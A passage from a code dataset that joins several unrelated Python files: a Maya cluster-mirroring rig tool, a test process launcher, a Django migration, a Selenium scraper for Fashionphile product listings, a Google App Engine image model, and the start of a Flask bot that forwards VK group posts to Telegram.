lz_pre_simpleMirror(joints_all[0],sameParent= 1)\n\t\n\t\t\tskinCluster(cluJo_return[0],ai= jo_mir,lw = 1,e=1,wt=0) \n\t\t\tsetAttr('%s.liw'%jo_mir,0)\n\t\t\t#mirrorInverse = 1 if po_neg else 0\n\t\t\tcopySkinWeights( ss=cluJo_return[0], ds=cluJo_return[0], noMirror=0 ,mirrorMode='YZ',mirrorInverse= 0)\n\t\t\tfor item in range(vrt_len):\n\t\t\t\tva = skinPercent(cluJo_return[0],'%s.vtx[%d]'%(poly_dup,item),q=1,v=1,t=jo_mir) \n\t\t\t\tif va>0.02:\n\t\t\t\t\tmir_points.append('%s.vtx[%d]'%(poly,item))\n\t\t\t\t\tmir_points_value.append(va)\n\t\t\t\t\tmir_points_index.append(item)\n\t\t\tlz_delete([poly_dup,cluJo_return[1],jo_mir,clu_pos,joints_all[0]])\n\t\t\t\n\t\tif po_neg:\n\t\t\tselect(po_neg)\n\t\t\tclu_neg = \tcluster(rel=1)[0]\t\t\n\t\n\t\t\tfor index,item in enumerate(po_neg_index):\n\t\t\t\tva = getAttr('%s.weightList[%s].weights[%s]'%(clu,obj_index,item))\n\t\t\t\ttry:\n\t\t\t\t\tsetAttr('%s.weightList[0].weights[%s]'%(clu_neg,item),va)\n\t\t\t\texcept:\n\t\t\t\t\tpass\t\t\n\t\t\tpoly_dup = duplicate(poly,n=poly+'_dupCluPoly')[0]\t\n\t\t\tpoly_dup_shape = listRelatives(poly,s=1,pa=1)[0]\t\n\t\t\tvrt_len = getAttr('%s.vrts'%poly_dup_shape,s=True)\t\t\n\t\t\tcluJo_return = lz_cluToJo(trans=['%sHandle'%clu_neg],makeSkin = 1,otherPoly = 1,poly_dup = poly_dup )\t\n\t\t\tjoints_all= cluJo_return[2]\n\t\t\tjo_mir = lz_pre_simpleMirror(joints_all[0],sameParent= 1)\n\t\t\n\t\t\tskinCluster(cluJo_return[0],ai= jo_mir,lw = 1,e=1,wt=0) \n\t\t\tsetAttr('%s.liw'%jo_mir,0)\n\t\t\t#mirrorInverse = 1 if po_neg else 0\n\t\t\tcopySkinWeights( ss=cluJo_return[0], ds=cluJo_return[0], noMirror=0 ,mirrorMode='YZ',mirrorInverse= 1)\n\t\t\tfor item in range(vrt_len):\n\t\t\t\tva = skinPercent(cluJo_return[0],'%s.vtx[%d]'%(poly_dup,item),q=1,v=1,t=jo_mir) \n\t\t\t\tif va>0.02:\n\t\t\t\t\tmir_points.append('%s.vtx[%d]'%(poly,item))\n\t\t\t\t\tmir_points_value.append(va)\n\t\t\t\t\tmir_points_index.append(item)\n\t\t\tlz_delete([poly_dup,cluJo_return[1],jo_mir,joints_all[0],clu_neg])\n\t\tmir_index = '0'\t\n\t\tclu_created = 0 \n\t\tif not objExists(name_mir):\t\n\t\t\ttrans_ex = xform(tran,q=1,ws=1,rp=1)\n\t\t\ttrans_mir = [-trans_ex[0],trans_ex[1],trans_ex[2]]\n\t\t\tselect(cl=1)\n\t\t\tclu_mirs = cluster(rel=1)\n\t\t\tsetAttr('%sHandleShape.origin'%clu_mirs[0],trans_mir[0],trans_mir[1],trans_mir[2])\n\t\t\tlz_xform('%sHandle'%clu_mirs[0],trans_mir,1)\n\t\t\tselect(mir_points)\n\t\t\tsets(fe='%sSet'%clu_mirs[0])\n\t\t\tclu_mir = rename(clu_mirs[0],name_mir+'Clu')\n\t\t\t\n\t\t\tclu_mirs[1] = rename(clu_mirs[1],name_mir)\n\t\t\tclu_created = 1\n\t\t\t\t\n\t\tif not clu_created:\t\t\n\t\t\n\t\t\tclu_mirs[0] = listConnections('%s.worldMatrix[0]'%name_mir)\n\t\t\tif not clu_mirs[0]:\n\t\t\t\treturn \n\t\t\tclu_mirs[0] = clu_mirs[0][0]\n\t\t\t\n\t\t\tclu_mir = clu_mirs[0]\n\t\t\tmir_set_clu = \t listConnections('%s.message'%clu_mir)[0]\n\t\t\tpoints_new = []\n\t\t\tfor s in mir_points:\n\t\t\t\tif s.find(poly) !=-1:\n\t\t\t\t\tpoints_new.append(s)\n\t\t\tcurrent_points = []\t\t\n\t\t\tmir_set_clu = \t listConnections('%s.message'%clu_mir)[0]\t\n\t\t\tobjs_plugs_mir = listConnections('%s.dagSetMembers'%mir_set_clu,p=1)\n\t\t\tobj_shape_mir = listRelatives(poly,s=1,pa=1)[0]\n\t\t\tmir_index = lz_clu_findIndex(clu_mir,poly)\n\t\t\tselect(name_mir)\n\t\t\tEditMembershipTool()\t\t\t\t\t\n\t\t\tcu = lz_ls()\n\t\t\tfor c in cu:\n\t\t\t\tif c.find(poly) !=-1:\n\t\t\t\t\tcurrent_points.append(c)\n\t\t\tcurrent_index = []\t\t\n\t\t\tlz_mirrorSelection_getIndex(current_index,current_points)\t\t\t\n\t\t\tif current_points:\n\t\t\t\tfor index,item in enumerate(current_index):\n\t\t\t\t\t#va = getAttr('%s.weightList[0].weights[%s]'%(clu,item))\n\t\t\t\t\ttry:\n\t\t\t\t\t\tsetAttr('%s.weightList[%s].weights[%s]'%(clu_mir,mir_index,item),0)\n\t\t\t\t\texcept:\n\t\t\t\t\t\tpass\n\t\t\tselect(mir_points)\n\n\t\t\tselect(points_new)\n\t\t\tsets(fe=mir_set_clu)\n\t\tmir_set_clu = \t listConnections('%s.message'%clu_mir)[0]\t\n\t\tobjs_plugs_mir = listConnections('%s.dagSetMembers'%mir_set_clu,p=1)\n\t\tmir_index = lz_clu_findIndex(clu_mir,poly)\n\n\t\t\n\t\ttrans_mir_all.append(name_mir)\n\t\ttrans_all.append(tran)\n\t\t\n\t\tfor index,item in enumerate(mir_points_index):\n\t\t\t#va = getAttr('%s.weightList[0].weights[%s]'%(clu,item))\n\t\t\ttry:\n\t\t\t\tsetAttr('%s.weightList[%s].weights[%s]'%(clu_mir,mir_index,item),mir_points_value[index])\n\t\t\texcept:\n\t\t\t\tpass\n\t\t\n\t\t\n\t\tif doPrint:\n\t\t\tlz_print('对称完成!\\\\n')\n\t\t\n\tsetToolTo('selectSuperContext')\t\t\n\tif(trans_all+trans_mir_all):\t\t\n\t\tselect(trans_all+trans_mir_all)\t\n\t\t\n\n\n\n\n\ndef lz_cluToclu(trans=[],poly_tar='',onlyNew = 0 ,doPrint = 1):\n\tsl = lz_ls()\n\ttrans = sl[:-1] if not trans else trans\n\tpoly_tar = sl[-1] if not poly_tar else poly_tar\n\twarn1 = [] \n\tneed_rename = 1\n\ttar_trans_all,new_tar = [],0\n\tif len(trans+[poly_tar])<2:\n\t\tlz_warning('先选择各种簇 最后加选模型!')\n\t\treturn\n\tpoly_shape = listRelatives(poly_tar,s=1,pa=1)[0]\n\tif objectType(poly_shape ) =='nurbsCurve' or objectType(poly_shape ) =='clusterHandle':\n\t\tneed_rename = 0\n\t\tif len(sl)>2:\n\t\t\tlz_warning('一对一的簇复制: 请选择新簇 加选 原始簇。或者新簇 加选 原始次控。多簇+模型 形成多对多复制\\\\n')\n\t\t\treturn\t\t\t\n\t\tlast_item = sl[-1] \n\t\tclu_handle = last_item\n\t\tpo_index1,points = [],[]\n\t\tif objectType(poly_shape ) =='nurbsCurve':\n\t\t\tclu_handle = lz_sub_CtlToClu(last_item)\n\t\tclu_obj = listConnections('%s.worldMatrix[0]'%clu_handle)[0]\n\t\tclu_set = listConnections('%s.message'%clu_obj)[0]\n\t\tpoly_tar = listConnections('%s.dagSetMembers'%clu_set)[0]\n\t\tclu_dups=[clu_obj,clu_handle]\n \n\t\tselect(clu_handle)\t\n\t\tEditMembershipTool()\n\t\tpoints = lz_ls()\n\t\tsetToolTo('selectSuperContext')\n\t\tlz_mirrorSelection_getIndex(po_index1,points)\n\t\tfor index,item in enumerate(po_index1):\n\t\t\tsetAttr('%s.weightList[0].weights[%s]'%(clu_obj,item),0)\n\t\ttar_trans_all = [last_item]\t\n\tpoly_shape = listRelatives(poly_tar,s=1,pa=1)[0]\n\tif objectType(poly_shape ) !='mesh':\n\t\treturn\n\t\n\tsk_tar = lz_findCluster(poly_tar,type='skinCluster')\n\tjo_base,joints_all,jo_raw ='',[],''\n\tif not sk_tar:\n\t\tselect(cl=1)\n\t\tnew_tar = 1\n\t\tjo_base = joint(n='tmp_base')\n\t\tsk_tar = skinCluster(jo_base,poly_tar)[0]\n\tpoly_dup = ''\n\tfor index,tran in enumerate(trans):\n\t\tif objectType(tran)!='transform':\n\t\t\tcontinue\n\n\t\ttran_shape = listRelatives(tran,s=1,pa=1)\n\t\ttran_raw = tran\n\t\tif objectType(tran_shape[0]) =='nurbsCurve':\n\t\t\ttran = lz_sub_CtlToClu(tran)\n\t\tclu_dups,clu = [],[]\t\n\t\tvtx_all = []\n\t\tjoint_return = lz_cluToJo([tran],makeSkin = 1,otherPoly=1,poly_dup= poly_dup)\n\t\tif not joint_return[0]:\n\t\t\twarn1.append(tran)\n\t\t\ttar_trans_all.append(tran)\n\t\t\tcontinue\n\t\tjo_new = joint_return[2][0]\n\t\tjoints_all.append(jo_new)\n\t\tpoly_dup = joint_return[3]\n\t\t#if not index:\n\t\t#\tjo_raw = \n\t\tsk_from = joint_return[0]\n\t\tskinCluster(sk_tar,e=1,dr=4,ps=0,ns=10,lw=1,wt=0,ai=jo_new)\t\n\t\tsetAttr('%s.liw'%jo_new,0)\n\t\tcopySkinWeights( ss=sk_from, ds=sk_tar, noMirror=True ,surfaceAssociation='closestPoint',influenceAssociation='closestJoint')\n\t\tlz_weight(points=[],infName =jo_new,poly=poly_tar,ap=0,value=0)\n\t\tpo_dups = []\n\t\tnew_points = lz_ls()\n\t\tlz_mirrorSelection_getIndex(po_dups,new_points)\n\n\t\ttrans_ex = xform(tran,q=1,ws=1,rp=1)\n\t\ttrans_dup = [trans_ex[0],trans_ex[1],trans_ex[2]]\n\t\tif not clu_dups:\n\t\t\tselect(cl=1)\n\t\t\tclu_dups = cluster(rel=1)\n\t\t\tsetAttr('%sHandleShape.origin'%clu_dups[0],trans_dup[0],trans_dup[1],trans_dup[2])\n\t\t\tlz_xform('%sHandle'%clu_dups[0],trans_dup,1)\n\t\tclu = listConnections('%s.worldMatrix[0]'%tran)\n\t\tif new_points!=['']:\n\t\t\tset_clu =listConnections('%s.message'%clu_dups[0])[0]\n\t\t\tselect(new_points)\n\t\t\tsets(fe=set_clu)\n\t\t\t#clu_mir = rename(clu_dups[0],name_mir+'Clu')\n\t\n\t\t\tobj_index = '0'\n\t\t\tobjs_plugs = listConnections('%s.dagSetMembers'%set_clu,p=1)\n\t\t\t#obj_shape = poly_shape\n\t\t\tfor p in objs_plugs:\n\t\t\t\tif p.find(poly_shape+'.') == 0:\n\t\t\t\t\tp_index_str = listConnections(p,p=1)[0]\n\t\t\t\t\t\n\t\t\t\t\tp_split = p_index_str.split('[')[1]\n\t\t\t\t\tobj_index = p_split.split(']')[0]\n\t\t\tfor index,item in enumerate(po_dups):\n\t\t\t\tva = skinPercent(sk_tar,'%s.vtx[%d]'%(poly_tar,item),q=1,v=1,t=jo_new)\n\t\t\t\tvtx_all.append('%s.vtx[%d]'%(poly_tar,item))\n\t\t\t\tsetAttr('%s.weightList[%s].weights[%s]'%(clu_dups[0],obj_index,item),va)\n\t\t\tselect(clu_dups[1])\n\t\t\t\n\t\t\tif joint_return[1]:\n\t\t\t\tskinPercent(sk_tar,vtx_all,tv=(jo_new,0))\n\t\t\t\t\n\t\tif joint_return[1]:\t\t\n\t\t\tdelete(sk_from,joint_return[1],jo_new)\n\t\tclu_new,clu_dup,tran_new,tran_dup = '','','',''\n\t\tif need_rename and not onlyNew:\n\t\t\tif clu[0].find(':') == -1:\n\t\t\t\tif clu[0].find('old')==-1:\n\t\t\t\t\tclu_new = rename(clu[0],clu[0]+'_old')\n\t\t\t\t\ttran_new = rename(tran,tran+'_old')\n\t\t\t\t\tclu_dup = rename(clu_dups[0],clu[0])\n\t\t\t\t\ttran_dup = rename(clu_dups[1],tran)\n\t\t\t\telse:\n\t\t\t\t\tname_clu = clu[0].split('_old')[0]\n\t\t\t\t\tname_tran = tran.split('_old')[0]\n\t\t\t\t\tclu_new,tran_new = clu[0],tran\n\t\t\t\t\tclu_dup = rename(clu_dups[0],name_clu)\n\t\t\t\t\ttran_dup = rename(clu_dups[1],name_tran)\n\t\t\t\t\t\n\t\t\telse:\n\t\t\t\tclu_new = clu[0]\n\t\t\t\ttran_new = tran\n\t\t\t\tclu_noPre = clu[0].split(':')[1]\n\t\t\t\ttran_noPre = tran.split(':')[1]\n\t\t\t\tif objExists(tran_noPre):\n\t\t\t\t\tif objExists(tran_noPre+'_old'):\n\t\t\t\t\t\tlz_delete([tran_noPre+'_old'])\n\t\t\t\t\tclu_new = rename(clu_noPre,clu_noPre+'_old')\n\t\t\t\t\ttran_new = rename(tran_noPre,tran_noPre+'_old')\n\t\t\t\t\tclu_dup = rename(clu_dups[0],clu_noPre)\n\t\t\t\t\ttran_dup = rename(clu_dups[1],tran_noPre)\n\t\t\t\telse:\n\t\t\t\t\tclu_dup = rename(clu_dups[0],clu_noPre)\n\t\t\t\t\ttran_dup = rename(clu_dups[1],tran_noPre)\n\t\t\tif objectType(tran_shape[0]) =='nurbsCurve':\n\t\t\t\ttar_trans_all.append(tran_raw)\n\t\t\telse:\n\t\t\t\ttar_trans_all.append(tran_dup)\t\n\n\t\t\t\t\n\t\t\ttar = ''\n\t\t\ttar_temp = listConnections('%s.t'%tran_new)\n\t\t\ttar_const = listConnections('%s.rotateOrder'%tran_new)\n\t\t\tif tar_temp:\n\t\t\t\ttar = tar_temp[0]\n\t\t\tname_pa = listRelatives(tran_new,p=1,pa=1)\n\t\t\tif name_pa:\n\t\t\t\tparent(tran_dup,name_pa)\n\t\t\tif tar:\n\t\t\t\tlz_connectAttr('%s.t'%tar,'%s.t'%tran_dup)\n\t\t\t\tlz_connectAttr('%s.r'%tar,'%s.r'%tran_dup)\n\t\t\t\tlz_connectAttr('%s.s'%tar,'%s.s'%tran_dup)\n\t\t\tif tar_const and not tar_temp:\n\t\t\t\ttar_ctl = listConnections('%s.target[0].targetScale'%tar_const[0])[0]\n\t\t\t\tparentConstraint(tar_ctl,tran_dup,mo=1)\n\t\t\t\tscaleConstraint(tar_ctl,tran_dup,mo=1)\t\n\t\tif need_rename and onlyNew:\n\n\t\t\tclu_dup = rename(clu_dups[0],clu[0]+'#')\n\t\t\ttran_dup = rename(clu_dups[1],tran+'#')\t\t\t\n\t\t\tif objectType(tran_shape[0]) =='nurbsCurve':\n\t\t\t\ttar_trans_all.append(tran_raw)\n\t\t\telse:\n\t\t\t\ttar_trans_all.append(tran_dup)\t\n\t\t\ttar = ''\n\t\t\ttar_temp = listConnections('%s.t'%tran)\n\t\t\ttar_const = listConnections('%s.rotateOrder'%tran)\n\t\t\tif tar_temp:\n\t\t\t\ttar = tar_temp[0]\n\t\t\tname_pa = listRelatives(tran,p=1,pa=1)\n\t\t\tif name_pa:\n\t\t\t\tparent(tran_dup,name_pa)\n\t\t\tif tar:\n\t\t\t\tlz_connectAttr('%s.t'%tar,'%s.t'%tran_dup)\n\t\t\t\tlz_connectAttr('%s.r'%tar,'%s.r'%tran_dup)\n\t\t\t\tlz_connectAttr('%s.s'%tar,'%s.s'%tran_dup)\n\t\t\tif tar_const:\n\t\t\t\ttar_ctl = listConnections('%s.target[0].targetScale'%tar_const[0])[0]\n\t\t\t\tparentConstraint(tar_ctl,tran_dup,mo=1)\n\t\t\t\tscaleConstraint(tar_ctl,tran_dup,mo=1)\t\t\t\t\n\t\t\n\tif new_tar:\n\t\tdelete(sk_tar,jo_base)\t\n\tlz_delete(poly_dup)\n\tselect(tar_trans_all)\n\tif doPrint:\n\t\tlz_print('簇克隆完成\\\\n')\n\t\tif warn1:\n\t\t\tlz_warning('存在簇影响了多个模型 %s 该簇不能复制!\\\\n'%(str(warn1)))\n\t\t\tselect(sl)\n\t\t\tselect(sl)\n\n\n\nglobal lz_cluster_datas\nlz_cluster_datas = {}\n\ndef lz_setCluster_cmd(name,cmd):\n\tglobal lz_cluster_datas\n\tlz_cluster_datas[name] = cmd\ndef lz_execCluster_cmd():\n\tglobal lz_cluster_datas\n\tname = textScrollList('clusterInflList',q=1,si=1)\n\tif name:\n\t\tmm.eval(\"artSetToolAndSelectAttr artAttrCtx %s\"%lz_cluster_datas[name[0]])\n","sub_path":"last_at_HQ/normal/001-设置工具集/005-变形权重/clusterTool.py","file_name":"clusterTool.py","file_ext":"py","file_size_in_byte":51752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"326802687","text":"\nimport multiprocessing # New in version 2.6\nimport threading\nimport Queue\nimport os\nimport sys\nimport time\nimport subprocess\n\n# TO DO\n#import _subprocess\n#cpCall = _subprocess.CreateProcess\n#def cp(a, b, c, d, e, f, g, h, i):\n# return cpCall(a, b, c, d, e, f, g, h, i)\n\nclass TestProcessLauncher:\n '''Special class used to run sub process when testing optoolbox'''\n\n def run(self, target, args=[], env=None):\n \"\"\" This method will call multiprocessing.Process to run an optest execution within a child process.\n \n Args:\n - target: A string giving the name of the callable to be called as a starting point for\n the child process. \n - args: A list containing any arguments to pass to the callable target.\n - env: A dictionary giving the child process environment. If ommited or None, the os.environ\n of the parent process will be used.\n \n Returns:\n - A list of data containing:\n - returned values from the child process;\n - A list of exceptions, if any.\n \"\"\"\n\n queue = multiprocessing.Queue()\n queue.put( (False, target) )\n queue.put( (False, args) )\n \n if env is None:\n env = os.environ\n\n queue.put( (False, env) )\n\n from optoolbox import OpalFileExceptions\n OpalFileExceptions.prepareTestMode()\n OpalFileExceptions.setCategory( OpalFileExceptions.SYSTEM )\n\n # use debug=True at your own risk : this can result in false fail !\n # some test only work when running as separate process...\n # For example, tests that get/set TestResultPath (every tests!), or get/set environment variables.\n debug=False\n if debug:\n p = threading.Thread(target=callback, args=(queue,))\n else:\n p = multiprocessing.Process(target=callback, args=(queue,))\n \n # TO DO\n #_subprocess.CreateProcess = cp\n p.start()\n\n #_subprocess.CreateProcess = cpCall\n p.join()\n\n exceptions = OpalFileExceptions.getLogs()\n\n OpalFileExceptions.releaseTestMode()\n\n values = []\n while True:\n isData, value = queue.get()\n if isData:\n values.append(value)\n else:\n break\n\n p = None\n queue.close()\n queue = None\n\n # allow queue and multiprocess to close correctly\n time.sleep(.1)\n\n values.append(exceptions)\n\n return values\n\n\ndef callback(queue):\n \n import os\n\n t, target = queue.get()\n t, args = queue.get()\n t, env = queue.get()\n \n if isinstance(env, os._Environ):\n pass #os.environ = env ### This might not be a good idea after all, it makes some tests fail.\n\n from optoolbox import OpLog\n OpLog.enablePrintAsLogInfo()\n\n results = target(args)\n\n if isinstance(results, list):\n pass\n elif isinstance(results, tuple):\n results = list(results)\n else:\n results = [results]\n\n for result in results:\n queue.put( ('True', result) )\n\n queue.put( (None, None) )\n","sub_path":"src/optoolbox/optest/utils/TestProcessLauncher.py","file_name":"TestProcessLauncher.py","file_ext":"py","file_size_in_byte":3158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"314851655","text":"# -*- coding: utf-8 -*-\r\nimport datetime\r\nfrom south.db import db\r\nfrom south.v2 import SchemaMigration\r\nfrom django.db import models\r\n\r\n\r\nclass Migration(SchemaMigration):\r\n\r\n needed_by = (\r\n ('accounts', '0001_initial'),\r\n ('cases', '0001_initial'),\r\n ('contacts', '0001_initial'),\r\n ('messages.email', '0001_initial'),\r\n ('tags', '0001_initial'),\r\n ('users', '0001_initial'),\r\n ('utils', '0001_initial'),\r\n )\r\n\r\n def forwards(self, orm):\r\n # Adding model 'Tenant'\r\n db.create_table('tenant_tenant', (\r\n ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\r\n ))\r\n db.send_create_signal('tenant', ['Tenant'])\r\n\r\n def backwards(self, orm):\r\n # Deleting model 'Tenant'\r\n db.delete_table('tenant_tenant')\r\n\r\n models = {\r\n 'tenant.tenant': {\r\n 'Meta': {'object_name': 'Tenant'},\r\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})\r\n }\r\n }\r\n\r\n complete_apps = ['tenant']\r\n","sub_path":"lily/tenant/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"619537078","text":"from time import sleep\nfrom random import randint\nfrom selenium import webdriver\nfrom pyvirtualdisplay import Display\nimport datetime\nimport re\n#from xvfbwrapper import Xvfb\n#import csv\n#import requests\n\nsearch_item_names = [ 'Louis Vuitton Neverfull', 'gucci loafer', 'chanel double flap']\n\n#proxies = { }\n#requests.get(\n\nclass Fashionphile_Crawler:\n def __init__(self):\n self.url_to_crawl = \"https://www.fashionphile.com\"\n self.all_items = []\n\n def start_driver(self):\n print('starting driver...')\n# vdisplay = Xvfb()\n self.display = Display(visible = 1, size=(800,600)) \n # xephyr = Display(visible = 1, size=(800,600)).start()\n try:\n self.display.start()\n # vdisplay.start()\n except Exception:\n print('failure')\n pass\n self.driver = webdriver.Chrome(\"/usr/bin/chromedriver\")\n sleep(4)\n\n#CLose chromedriver\n def close_driver(self):\n print('closing driver...')\n self.display.stop()\n self.driver.quit()\n print('closed!')\n\n def get_page(self, url):\n print('getting page...')\n self.driver.get(url)\n sleep(randint(2,3))\n\n def search(self, item_name):\n try: \n form = self.driver.find_element_by_xpath('//*[@class=\"head_search\"]')\n form.find_element_by_xpath('.//*[@class=\"form-control\"]').send_keys(item_name)\n form.find_element_by_xpath('.//*[@class=\"input-group-btn\"]').click() \n except Exception:\n print('Search Failure')\n pass\n\n def login(self):\n print('getting pass the gate page...')\n try: \n form = self.driver.find_element_by_xpath(\n '//*[@class=\"signup-login-form\"]')\n form.find_element_by_xpath(\n './/*[@class=\"user-input email\"]').send_keys(\n 'j@gmail.com')\n form.find_element_by_xpath(\n './/*[@class=\"user-input zip-code\"]').send_keys( 'pass')\n form.find_element_by_xpath(\n './/*[@class=\"large orange button\"]').click()\n except Exception:\n pass\n\n def grab_list_items(self, item_name):\n print('grabbing list of items...')\n counter = 0\n# results = int(self.driver.find_element_by_xpath('//*[@class=\"page_view_options\"]/span[@data-container=\"results-total\"]').text)\n try:\n results = int(self.driver.find_element_by_xpath('//*[@class=\"page_view_options\"]/span[@data-container=\"results-total\"]').text)\n except Exception:\n results = int(self.driver.find_element_by_xpath('//*[@class=\"form-group\"]/span[@data-container=\"results-total\"]').text)\n max_searched = 1\n for div in self.driver.find_elements_by_xpath('//*[@class=\"product_container\"]'):\n data = self.process_elements(div, item_name)\n if data and counter < max_searched:\n self.all_items.append(data)\n counter = counter + 1 \n else:\n pass\n if results > 60: \n div = self.driver.find_element_by_xpath('//*[@class=\"row text-center\"]')\n div.find_element_by_xpath('//*[@rel=\"next\"]').click()\n # div.find_element_by_xpath('//a').click()\n sleep(randint(2,4))\n for div in self.driver.find_elements_by_xpath('//*[@class=\"product_container\"]'):\n #'//ul[@class=\"menu-items row\"]//li'):\n data = self.process_elements(div, item_name)\n if data and counter < max_searched:\n self.all_items.append(data)\n counter = counter + 1 \n else:\n pass\n # return results\n return min(max_searched, results)\n\n\n def process_elements(self, div, item_name):\n prd_url = ''\n prd_title = ''\n prd_price = ''\n try:\n prd_title = div.find_element_by_xpath( \n './/*[@itemprop=\"name\"]').text\n #append delimiter\n prd_price= div.find_element_by_xpath(\n './/*[@class=\"price\"]').text\n if prd_price.find('\\n') >= 0:\n prd_price = prd_price[prd_price.find('\\n')+ len('\\n'): 100]\n try:\n prd_url = div.find_element_by_xpath('.//a').get_attribute('href')\n except Exception:\n print('Could not get url')\n pass\n except Exception:\n pass\n # finally:\n# if prd_image and prd_title and prd_price:\n if prd_title and prd_price:\n single_item_info = {\n 'title': prd_title,\n 'price': prd_price,\n 'url' : prd_url,\n 'website' : \"fashionphile\",\n 'search_name' : item_name,\n 'original_price': prd_price,\n 'original_date_read': datetime.datetime.now()\n }\n return single_item_info\n else:\n return False\n \n\n def fetch_more_data(self, index):\n item_interest = self.all_items[index]\n url_location = item_interest['url']\n self.driver.get(url_location)\n sleep(randint(2,3))\n\n# div = self.driver.find_element_by_xpath('//*[@class=\"col-xs-12 no-padding\"]')\n div = self.driver.find_element_by_xpath('//*[@class=\"tab-content\"]')\n flavor_text = []\n paragraphs = div.find_elements_by_css_selector('p')\n# paragraphs = div.find_element_by_xpath('.//p')\n for p in paragraphs:\n flavor_text.append(p.text)\n\n div = self.driver.find_element_by_xpath('.//*[@href=\"#tabCondition\"]').click()\n div = self.driver.find_element_by_xpath('//*[@class=\"tab-content\"]') \n paragraphs = div.find_elements_by_css_selector('p')\n for p in paragraphs:\n flavor_text.append(p.text)\n \n item_number = '' \n for st in flavor_text:\n if st.find('Item #:') >= 0:\n item_number = st[len('Item #: '):100] \n \n designer_id = '' \n for st in flavor_text:\n if st.find('Designer ID#: ') >= 0:\n designer_id = st[len('Designer ID#: '): 100] \n \n year = '' \n for st in flavor_text:\n if st.find('Year: ') >= 0:\n year = st[len('Year: '): 100] \n\n size = ''\n if item_interest['search_name'] == \"Louis Vuitton Neverfull\":\n if item_interest['title'].find('Pochette') >= 0 :\n size = 'Pochette'\n elif item_interest['title'].find('MM') >=0:\n size= 'MM'\n elif item_interest['title'].find('GM') >=0:\n size = 'GM'\n elif item_interest['title'].find('PM') >=0:\n size = 'PM'\n else:\n size = 'Not Found'\n elif item_interest['search_name'] == \"gucci loafer\":\n size = re.findall(\"\\d+.\\d+\", item_interest['title'])\n elif item_interest['search_name'] == \"chanel double flap\":\n if item_interest['title'].find('Jumbo') >=0:\n size = \"Jumbo\"\n else:\n size = \"implement later\"\n else:\n size = \"implement later\"\n \n condition = ''\n for st in flavor_text:\n if st.find('Item Condition: ') >= 0:\n condition = st[len('Item Condition: '): 100]\n \n seller_location = ''\n for st in flavor_text:\n if st.find('Item Location: ') >= 0:\n seller_location = st[len('Item Location: '): 100] \n \n flavor_text= list(filter(bool, flavor_text))\n flavor_text= ''\n# temp = '' \n# for phrase in flavor_text:\n# temp = temp + phrase + ' '\n# flavor_text = temp \n \n self.all_items[index].update( {'text' : flavor_text , 'item_number': item_number,\n 'designer_id' : designer_id, 'size' : size, 'year' : year, 'seller_location': seller_location, 'condition':condition })\n\n \n def search_and_populate(self, item_name):\n self.get_page(self.url_to_crawl)\n self.search(item_name)\n index = -1* self.grab_list_items(item_name) \n while index < 0:\n self.fetch_more_data(index)\n index = index + 1\n \n \n def parse(self):\n self.start_driver()\n \n for item in search_item_names:\n self.search_and_populate(item)\n \n self.close_driver()\n\n if self.all_items:\n return self.all_items\n else:\n return False, False\n\n","sub_path":"fashionphile_crawler.py","file_name":"fashionphile_crawler.py","file_ext":"py","file_size_in_byte":9192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"285811480","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport datetime\nimport urllib2\nfrom urllib2 import HTTPError\n\nfrom google.appengine.ext import db\nfrom google.appengine.api.images import Image\n\nfrom settings import EXPIRATION_DB\n\nclass ImageNotFoundError(RuntimeError):\n pass\n\nclass Picture(db.Model):\n url = db.StringProperty()\n picture = db.BlobProperty(default=None)\n last_fetch = db.DateTimeProperty(auto_now=True)\n \n def is_expired(self):\n expiration_time = self.last_fetch + datetime.timedelta(seconds=EXPIRATION_DB)\n return datetime.datetime.now() >= expiration_time\n \n def fetch_image(self):\n try:\n response = urllib2.urlopen(self.url)\n except HTTPError:\n raise ImageNotFoundError()\n contents = response.read()\n self.picture = db.Blob(contents)\n self.last_fetch = datetime.datetime.now()\n return Image(contents)\n \n\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"33108075","text":"from flask import Flask, request\nimport telebot\nimport requests\nimport io\nimport os\nfrom threading import Thread\nfrom config import config, lang\nimport unidecode\n\napp = Flask(__name__)\n\nbot = telebot.TeleBot(config['telegram_token'])\nbot.remove_webhook()\nbot.set_webhook(url=config['heroku_url'] + '/updates/tg')\n\nTG_DOC_MAXSIZE = 52428800\nlast_update_id = 0\n\n@bot.message_handler(commands=['list'])\ndef get_list(message):\n list = ''\n for group in config['groups']:\n if message.chat.id in config['groups'][group]['chats']:\n list += '\\n- [' + config['groups'][group]['name'] + '](https://vk.com/club' + str(group) + ')'\n bot.send_message(message.chat.id, list, parse_mode = 'markdown')\n\n@app.route('/updates/tg', methods=['POST'])\ndef getTGUpdates():\n global last_update_id\n message_json = request.get_json()\n\n if message_json['update_id'] > last_update_id:\n bot.process_new_updates([telebot.types.Update.de_json(message_json)])\n last_update_id = message_json['update_id']\n return 'ok', 200\n\n return '!', 200\n\n@app.route('/updates/vk', methods=['POST'])\ndef getVKUpdates():\n message_json = request.get_json()\n\n if message_json['type'] == 'confirmation':\n return config['groups'][message_json['group_id']]['vk_conformation_token'], 200\n elif message_json['secret'] == config['groups'][message_json['group_id']]['vk_secret_key']:\n thr = Thread(target = VKUpdates_handler, args = [message_json])\n thr.start()\n return 'ok', 200\n\n return '!', 200\n\ndef VKUpdates_handler(message_json):\n if message_json['type'] == 'wall_post_new':\n for chat in config['groups'][message_json['group_id']]['chats']:\n bot.send_message(chat, lang[config['groups'][message_json['group_id']]['chats'][chat]['lang']]['wall_post_new'].format(config['groups'][message_json['group_id']]['name'], '(https://vk.com/club' + str(message_json['group_id']) + '?w=wall-' + str(message_json['group_id']) + '_' + str(message_json['object']['id']) + ')'), parse_mode = 'markdown')\n \n if message_json['object']['text']:\n bot.send_message(chat, message_json['object']['text'], disable_notification=True)\n\n if 'attachments' in message_json['object']:\n for attachment in message_json['object']['attachments']:\n if attachment['type'] == 